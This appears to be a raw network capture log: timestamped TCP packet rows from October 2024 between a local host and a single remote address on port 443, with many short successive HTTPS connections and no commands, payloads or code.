Oct 29, 2024 04:53:31.534147024 CET	49937	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.534195900 CET	443	49937	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.534629107 CET	49937	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.534641027 CET	443	49937	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.665977001 CET	443	49937	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.666050911 CET	443	49937	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.666085005 CET	443	49937	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.666131020 CET	49937	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.666171074 CET	49937	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.666429996 CET	49937	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.666429996 CET	49937	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.666480064 CET	443	49937	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.666505098 CET	443	49937	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.669640064 CET	49942	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.669706106 CET	443	49942	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.669797897 CET	49942	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.669955015 CET	49942	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.669986963 CET	443	49942	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.745079041 CET	443	49938	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.745579958 CET	49938	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.745632887 CET	443	49938	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.746061087 CET	49938	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.746076107 CET	443	49938	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.752033949 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.752882957 CET	49939	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.752935886 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.757872105 CET	49939	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.757885933 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.866524935 CET	443	49940	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.867149115 CET	49940	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.867223978 CET	443	49940	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.867625952 CET	49940	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.867640018 CET	443	49940	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.875335932 CET	443	49938	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.875473022 CET	443	49938	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.875545025 CET	49938	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.875624895 CET	49938	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.875657082 CET	443	49938	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.875694036 CET	49938	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.875708103 CET	443	49938	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.878540993 CET	49943	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.878556013 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.878638983 CET	49943	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.878782988 CET	49943	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.878793955 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.885853052 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.886190891 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.886249065 CET	49939	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.886269093 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.886296988 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.886343002 CET	49939	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.886367083 CET	49939	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.886379004 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.886390924 CET	49939	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.886399031 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.888345003 CET	49944	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.888391018 CET	443	49944	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.888454914 CET	49944	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.888550997 CET	49944	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.888562918 CET	443	49944	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.998806953 CET	443	49940	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.998974085 CET	443	49940	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.999042034 CET	49940	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.999435902 CET	49940	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.999435902 CET	49940	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.999461889 CET	443	49940	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.999505997 CET	443	49940	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.001450062 CET	49945	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.001533985 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.001619101 CET	49945	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.001735926 CET	49945	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.001758099 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.019570112 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.019898891 CET	49941	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.019908905 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.020322084 CET	49941	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.020325899 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.146461964 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.147022963 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.147087097 CET	49941	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.147094965 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.147135019 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.147191048 CET	49941	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.147205114 CET	49941	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.147211075 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.147219896 CET	49941	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.147223949 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.149733067 CET	49946	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.149770975 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.149844885 CET	49946	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.149981022 CET	49946	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.149993896 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.390889883 CET	443	49942	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.391371965 CET	49942	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.391422987 CET	443	49942	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.391879082 CET	49942	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.391894102 CET	443	49942	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.522113085 CET	443	49942	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.522164106 CET	443	49942	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.522265911 CET	49942	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.522490978 CET	49942	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.522524118 CET	443	49942	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.522547960 CET	49942	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.522562027 CET	443	49942	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.525353909 CET	49947	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.525418043 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.525535107 CET	49947	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.525696039 CET	49947	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.525723934 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.618983030 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.619443893 CET	49943	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.619458914 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.619885921 CET	49943	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.619893074 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.628336906 CET	443	49944	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.628700018 CET	49944	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.628711939 CET	443	49944	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.629142046 CET	49944	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.629147053 CET	443	49944	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.749002934 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.749197960 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.749269009 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.749372959 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.749424934 CET	49943	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.749650002 CET	49943	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.749659061 CET	49945	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.749702930 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.750045061 CET	49945	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.750072002 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.750186920 CET	49943	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.750200033 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.750215054 CET	49943	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.750221968 CET	443	49943	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.752744913 CET	49948	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.752779961 CET	443	49948	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.752851009 CET	49948	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.753006935 CET	49948	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.753017902 CET	443	49948	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.758593082 CET	443	49944	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.758742094 CET	443	49944	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.758804083 CET	49944	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.758825064 CET	49944	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.758841991 CET	443	49944	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.758852005 CET	49944	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.758857012 CET	443	49944	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.761063099 CET	49949	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.761095047 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.761174917 CET	49949	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.761298895 CET	49949	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.761312962 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.881938934 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.881994009 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.882097960 CET	49945	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.882112026 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.882169962 CET	49945	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.882410049 CET	49945	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.882410049 CET	49945	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.882445097 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.882484913 CET	443	49945	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.885091066 CET	49950	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.885128021 CET	443	49950	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.885200977 CET	49950	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.885329962 CET	49950	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.885344028 CET	443	49950	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.896547079 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.896928072 CET	49946	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.896939993 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:32.897351027 CET	49946	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:32.897356033 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.029043913 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.029094934 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.029171944 CET	49946	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.029186964 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.029230118 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.029279947 CET	49946	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.029381990 CET	49946	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.029397964 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.029407024 CET	49946	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.029411077 CET	443	49946	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.044558048 CET	49951	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.044588089 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.044682026 CET	49951	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.092046976 CET	49951	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.092065096 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.255918980 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.256830931 CET	49947	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.256892920 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.257426023 CET	49947	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.257447004 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.385885000 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.385925055 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.385957956 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.385981083 CET	49947	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.386040926 CET	49947	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.386240959 CET	49947	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.386240959 CET	49947	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.386272907 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.386300087 CET	443	49947	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.389198065 CET	49952	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.389281034 CET	443	49952	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.389369965 CET	49952	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.389542103 CET	49952	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.389579058 CET	443	49952	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.486102104 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.486645937 CET	49949	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.486660957 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.487131119 CET	49949	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.487134933 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.500030041 CET	443	49948	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.500375032 CET	49948	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.500387907 CET	443	49948	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.500740051 CET	49948	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.500746012 CET	443	49948	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.614939928 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.615026951 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.615077019 CET	49949	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.615086079 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.615124941 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.615171909 CET	49949	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.615247965 CET	49949	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.615261078 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.615271091 CET	49949	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.615276098 CET	443	49949	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.617923975 CET	49953	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.618011951 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.618093014 CET	49953	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.618323088 CET	49953	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.618360043 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.625550032 CET	443	49950	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.625905037 CET	49950	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.625915051 CET	443	49950	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.626322985 CET	49950	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.626327991 CET	443	49950	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.632268906 CET	443	49948	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.632422924 CET	443	49948	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.632472992 CET	49948	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.632494926 CET	49948	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.632494926 CET	49948	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.632508039 CET	443	49948	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.632514954 CET	443	49948	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.634412050 CET	49954	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.634471893 CET	443	49954	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.634541988 CET	49954	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.634656906 CET	49954	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.634689093 CET	443	49954	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.754836082 CET	443	49950	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.754997015 CET	443	49950	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.755068064 CET	49950	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.755145073 CET	49950	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.755153894 CET	443	49950	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.755162001 CET	49950	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.755166054 CET	443	49950	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.757335901 CET	49955	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.757415056 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.757591009 CET	49955	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.757749081 CET	49955	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.757780075 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.843681097 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.844171047 CET	49951	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.844207048 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.844609976 CET	49951	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.844615936 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.976394892 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.976458073 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.976510048 CET	49951	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.976531982 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.976557016 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.976603031 CET	49951	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.976778030 CET	49951	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.976790905 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.976803064 CET	49951	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.976809025 CET	443	49951	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.979841948 CET	49956	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.979949951 CET	443	49956	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:33.980062008 CET	49956	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.980220079 CET	49956	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:33.980256081 CET	443	49956	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.131303072 CET	443	49952	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.131880999 CET	49952	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.131917000 CET	443	49952	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.132358074 CET	49952	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.132373095 CET	443	49952	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.263981104 CET	443	49952	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.264017105 CET	443	49952	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.264102936 CET	49952	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.264338017 CET	49952	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.264368057 CET	443	49952	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.264391899 CET	49952	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.264405966 CET	443	49952	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.267158985 CET	49957	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.267175913 CET	443	49957	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.267246008 CET	49957	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.267388105 CET	49957	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.267400026 CET	443	49957	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.370321035 CET	443	49954	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.370927095 CET	49954	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.370946884 CET	443	49954	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.371422052 CET	49954	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.371433973 CET	443	49954	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.385256052 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.385617018 CET	49953	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.385663033 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.386003971 CET	49953	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.386018991 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.499464989 CET	443	49954	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.499594927 CET	443	49954	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.499664068 CET	49954	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.501223087 CET	49954	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.501249075 CET	443	49954	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.501291037 CET	49954	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.501303911 CET	443	49954	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.510741949 CET	49958	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.510804892 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.510860920 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.510890007 CET	49958	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.510930061 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.511014938 CET	49953	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.511030912 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.511081934 CET	49953	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.511195898 CET	49953	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.511229992 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.511238098 CET	49958	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.511256933 CET	49953	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.511269093 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.511271954 CET	443	49953	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.513525963 CET	49959	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.513539076 CET	443	49959	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.513608932 CET	49959	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.513719082 CET	49959	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.513730049 CET	443	49959	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.515202045 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.515538931 CET	49955	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.515561104 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.515990973 CET	49955	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.516002893 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.646931887 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.646995068 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.647068977 CET	49955	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.647116899 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.647146940 CET	443	49955	13.107.246.60	192.168.2.4
